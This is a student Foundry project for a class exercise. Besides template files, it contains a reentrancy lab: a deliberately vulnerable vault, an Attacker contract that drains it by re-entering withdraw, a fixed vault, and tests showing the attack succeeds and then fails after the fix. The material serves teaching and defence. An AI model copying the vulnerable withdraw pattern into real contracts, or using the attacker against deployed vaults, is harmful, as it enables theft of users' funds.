Classtest

13-04-26-test/.github/workflows/test.yml

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+name: CI
+
+permissions: {}
+
+on:
+  push:
+  pull_request:
+  workflow_dispatch:
+
+env:
+  FOUNDRY_PROFILE: ci
+
+jobs:
+  check:
+    name: Foundry project
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+    steps:
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
+          submodules: recursive
+
+      - name: Install Foundry
+        uses: foundry-rs/foundry-toolchain@v1
+
+      - name: Show Forge version
+        run: forge --version
+
+      - name: Run Forge fmt
+        run: forge fmt --check
+
+      - name: Run Forge build
+        run: forge build --sizes
+
+      - name: Run Forge tests
+        run: forge test -vvv

13-04-26-test/.gitignore

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+# Compiler files
+cache/
+out/
+
+# Ignores development broadcast logs
+!/broadcast
+/broadcast/*/31337/
+/broadcast/**/dry-run/
+
+# Docs
+docs/
+
+# Dotenv file
+.env

13-04-26-test/.gitmodules

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+[submodule "lib/forge-std"]
+	path = lib/forge-std
+	url = https://github.com/foundry-rs/forge-std

13-04-26-test/README.md

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+## Foundry
+
+**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.**
+
+Foundry consists of:
+
+- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools).
+- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data.
+- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network.
+- **Chisel**: Fast, utilitarian, and verbose solidity REPL.
+
+## Documentation
+
+https://book.getfoundry.sh/
+
+## Usage
+
+### Build
+
+```shell
+$ forge build
+```
+
+### Test
+
+```shell
+$ forge test
+```
+
+### Format
+
+```shell
+$ forge fmt
+```
+
+### Gas Snapshots
+
+```shell
+$ forge snapshot
+```
+
+### Anvil
+
+```shell
+$ anvil
+```
+
+### Deploy
+
+```shell
+$ forge script script/Counter.s.sol:CounterScript --rpc-url <your_rpc_url> --private-key <your_private_key>
+```
+
+### Cast
+
+```shell
+$ cast <subcommand>
+```
+
+### Help
+
+```shell
+$ forge --help
+$ anvil --help
+$ cast --help
+```

13-04-26-test/foundry.lock

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+{
+  "lib/forge-std": {
+    "tag": {
+      "name": "v1.15.0",
+      "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398"
+    }
+  }
+}

13-04-26-test/foundry.toml

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+[profile.default]
+src = "src"
+out = "out"
+libs = ["lib"]
+
+# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options

13-04-26-test/script/Counter.s.sol

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+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Script} from "forge-std/Script.sol";
+import {Counter} from "../src/Counter.sol";
+
+contract CounterScript is Script {
+    Counter public counter;
+
+    function setUp() public {}
+
+    function run() public {
+        vm.startBroadcast();
+
+        counter = new Counter();
+
+        vm.stopBroadcast();
+    }
+}

13-04-26-test/src/Attack.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+interface AttackVault {
+    function deposit() external payable;
+    function withdraw(uint256 amount) external;
+}
+
+contract Attacker {
+    AttackVault public vault;
+
+    constructor(address _vault) {
+        vault = AttackVault(_vault);
+    }
+
+
+    function attack() external payable {
+        require(msg.value >= 1 ether, "Need at least 1 ETH");
+
+        vault.deposit{value: msg.value}();
+        vault.withdraw(msg.value);
+    }
+
+    receive() external payable {
+        if (address(vault).balance >= 1 ether) {
+            vault.withdraw(1 ether);
+        }
+    }
+}

13-04-26-test/src/Counter.sol

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+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+contract Counter {
+    uint256 public number;
+
+    function setNumber(uint256 newNumber) public {
+        number = newNumber;
+    }
+
+    function increment() public {
+        number++;
+    }
+}

13-04-26-test/src/Fixer.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+contract FixedVault {
+    mapping(address => uint256) public balances;
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw(uint256 amount) public {
+        require(balances[msg.sender] >= amount, "Insufficient balance");
+
+        balances[msg.sender] -= amount;
+
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "Transfer failed");
+    }
+
+}

13-04-26-test/src/test.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+contract BalanceVault {
+    mapping(address => uint256) public balances;
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw(uint256 amount) public {
+        require(balances[msg.sender] >= amount, "Insufficient balance");
+
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "Transfer failed");
+
+        balances[msg.sender] -= amount;
+    }
+}

13-04-26-test/test/Counter.t.sol

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+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Test} from "forge-std/Test.sol";
+import {Counter} from "../src/Counter.sol";
+
+contract CounterTest is Test {
+    Counter public counter;
+
+    function setUp() public {
+        counter = new Counter();
+        counter.setNumber(0);
+    }
+
+    function test_Increment() public {
+        counter.increment();
+        assertEq(counter.number(), 1);
+    }
+
+    function testFuzz_SetNumber(uint256 x) public {
+        counter.setNumber(x);
+        assertEq(counter.number(), x);
+    }
+}

13-04-26-test/test/test.t.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "forge-std/Test.sol";
+import "../src/test.sol";
+import "../src/Attack.sol";
+import "../src/Fixer.sol";
+
+contract VaultTest is Test {
+    BalanceVault vault;
+    Attacker attacker;
+    FixedVault fixedVault;
+
+
+    address victim = address(1);
+    receive() external payable {}
+    function setUp() public {
+        vault = new BalanceVault();
+        attacker = new Attacker(address(vault));
+        fixedVault = new FixedVault();
+    }
+
+
+    function testReentrancyAttack() public {
+        vm.deal(victim, 5 ether);
+        vm.prank(victim);
+        vault.deposit{value: 5 ether}();
+
+        vm.deal(address(attacker), 1 ether);
+        vm.prank(address(attacker));
+        attacker.attack{value: 1 ether}();
+
+        assertEq(address(vault).balance, 0);
+
+        assertGt(address(attacker).balance, 1 ether);
+    }
+
+    function testAttackFailsAfterFix() public {
+        Attacker attacker2 = new Attacker(address(fixedVault));
+        vm.deal(victim, 5 ether);
+        vm.prank(victim);
+        fixedVault.deposit{value: 5 ether}();
+
+        vm.deal(address(attacker2), 1 ether);
+        vm.prank(address(attacker2));
+        vm.expectRevert(); // can specify message if desired
+        attacker2.attack{value: 1 ether}();
+
+        assertEq(address(fixedVault).balance, 5 ether);
+    }
+
+    function testLegitWithdrawStillWorks() public {
+    address user = address(2);
+
+    vm.deal(user, 2 ether);
+
+    vm.startPrank(user);
+    fixedVault.deposit{value: 2 ether}();
+    fixedVault.withdraw(1 ether);
+    vm.stopPrank();
+
+    assertEq(address(fixedVault).balance, 1 ether);
+}
+}

Umar-Alhassan.md

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+Escrow v1
+(https://github.com/Froshboss/escrow-V1)
+
+Escrow v2
+(https://github.com/Froshboss/escrow-V2)
+
+Transaction Vault
+(https://github.com/Froshboss/timelock-contract) 
+
+Crowd Funding
+(https://github.com/Froshboss/crowdfunding)
+
+Auction
+(https://github.com/Froshboss/auction)
+
+Freelancing
+(https://github.com/Froshboss/freelancer)
+
+Article
+(https://hackmd.io/@GhXpzopCT4GRIXOIrUHk6g/rkvSn9RrZg)
+
+
+
+